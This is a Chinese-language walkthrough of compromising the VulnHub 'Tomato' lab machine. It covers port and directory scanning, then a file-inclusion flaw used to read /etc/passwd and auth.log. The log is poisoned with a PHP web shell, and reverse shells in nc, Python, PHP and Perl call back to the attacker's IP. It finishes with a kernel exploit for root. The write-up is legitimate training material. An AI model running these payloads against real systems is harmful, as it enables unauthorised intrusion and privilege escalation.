tomato
一、靶机介绍
靶机地址:https://download.vulnhub.com/tomato/Tomato.ova
攻击方法:
- 主机发现
- 端口扫描
- 信息搜集
- 路径爬取
- 源代码分析
- 文件包含
- 写入日志
- 内核漏洞枚举
- 本地提权
二、主机发现
arp-scan -l |
靶机地址为:192.168.43.155
三、端口扫描
nmap -p- 192.168.43.155 |
根据扫描结果得知80和8888都是web端口,2211为ssh端口
访问web页面,80端口就一番茄的图片,8888端口需要账号密码,相当于这两个端口没有获取到任何信息
四、dirsearch目录扫描
dirsearch -u "http://192.168.43.155" -w /usr/share/seclists/Discovery/Web-Content/common.txt |
dirsearch自带的字典什么都没扫描处理,换了一个字典
发现一个新的目录,在这目录里除了info.php其他都是空的
发现页面是phpinfo的
五、文件包含漏洞
查看源代码,发现代码注释内容中貌似存在文件包含漏洞,变量名为image
读取文件尝试,发现可以读取成功
?/image=/etc/passwd |
发现除了root用户外,还存在一个用户tomato
尝试读取tomato的密钥,发现不存在
/?image=/home/tomato/.ssh/id_rsa |
想尝试远程文件文件包含,发现配置未开
六、日志写入
尝试读取系统登录日志,可以成功读取
/?image=/var/log/auth.log |
使用ssh随便写一个账号尝试,是否能写入成功
发现用户名能够写入,之间利用这个,写马
'<?php system($_GET["cmd"]);?>' |
注意单双引号
发现日志没有,这说明php代码可能执行成功
/?image=/var/log/auth.log&cmd=which nc |
执行成功,靶机中存在nc
七、反弹shell
使用nc 反弹失败,靶机也存在python3,但是也没反弹成功
nc 192.168.43.130 5555 -e /bin/bash |
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.soCK_STREAM);s.connect(("192.168.43.130",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
使用php url编码后的反弹了一下,反弹成功了,但是我输入指令后没有任何回显,使用python升级了终端也没什么动静
php -r '$sock=fsockopen("192.168.43.130",5555);exec("/bin/sh -i <&3 2>&3");' |
php%20-r%20’%24sock%3Dfsockopen(%22192.168.43.130%22%2C5555)%3Bexec(%22%2Fbin%2Fsh%20-i%20%3C%263%202%3E%263%22)%3B’
perl反弹,我是第一次听说这个语言
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.43.130:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' |
python3 -c "import pty;pty.spawn('/bin/bash')" # 升级终端 |
八、内核漏洞枚举
linux-exploit-suggester使用这个工具找的合适的内核漏洞,进行提权
apt install linux-exploit-suggester # 安装 |
chmod +x linux-exploit-suggester.sh # 授予执行权限 |
第一提权不成功,第二个能提权成功
九、本地提权
直接在kali搜索对应编号
searchsploit -p 45010 |
cp /usr/share/exploitdb/exploits/linux/local/45010.c . # 将提权脚本复制到桌面操作 |
在靶机中执行报错了,因为kali中gcc版本太高导致的
9.1、指定gcc版本
strings /lib/x86_64-linux-gnu/libc.so.6 |grep GLIBC_2.3 |
发现靶机中雀氏没有那个版本
在kali中下载靶机对应的版本,最后指定一下
wget http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb # 下载包 |
nc -lvnp 4444 > exp # exp传输 |
提权成功
参考: